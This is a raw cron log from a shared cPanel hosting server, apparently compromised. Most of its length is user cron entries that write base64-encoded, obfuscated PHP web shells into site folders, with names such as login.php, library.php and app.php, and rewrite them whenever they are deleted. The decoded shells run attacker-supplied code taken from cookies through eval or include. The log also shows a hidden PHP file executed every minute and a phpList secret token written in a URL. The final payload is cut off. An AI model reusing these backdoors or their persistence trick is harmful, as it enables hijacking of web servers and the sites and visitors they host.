Mar  1 22:13:02 medusa CROND[20880]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:13:02 medusa CROND[20881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:13:02 medusa CROND[20882]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:13:02 medusa CROND[20884]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:13:02 medusa CROND[20886]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:14:01 medusa CROND[4402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:14:01 medusa CROND[4536]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:14:01 medusa CROND[4537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:14:01 medusa CROND[4539]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:14:01 medusa CROND[4540]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:14:01 medusa CROND[4541]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:14:01 medusa CROND[4545]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:14:01 medusa CROND[4548]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:14:01 medusa CROND[4552]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:14:01 medusa CROND[4553]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:14:01 medusa CROND[4555]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:14:01 medusa CROND[4556]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:14:01 medusa CROND[4559]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:15:02 medusa CROND[24593]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:15:02 medusa CROND[24594]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:15:02 medusa CROND[24595]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:15:02 medusa CROND[24596]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:15:02 medusa CROND[24600]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:15:02 medusa CROND[24604]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 22:15:02 medusa CROND[24606]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:15:02 medusa CROND[24607]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:15:02 medusa CROND[24599]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:15:02 medusa CROND[24608]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllp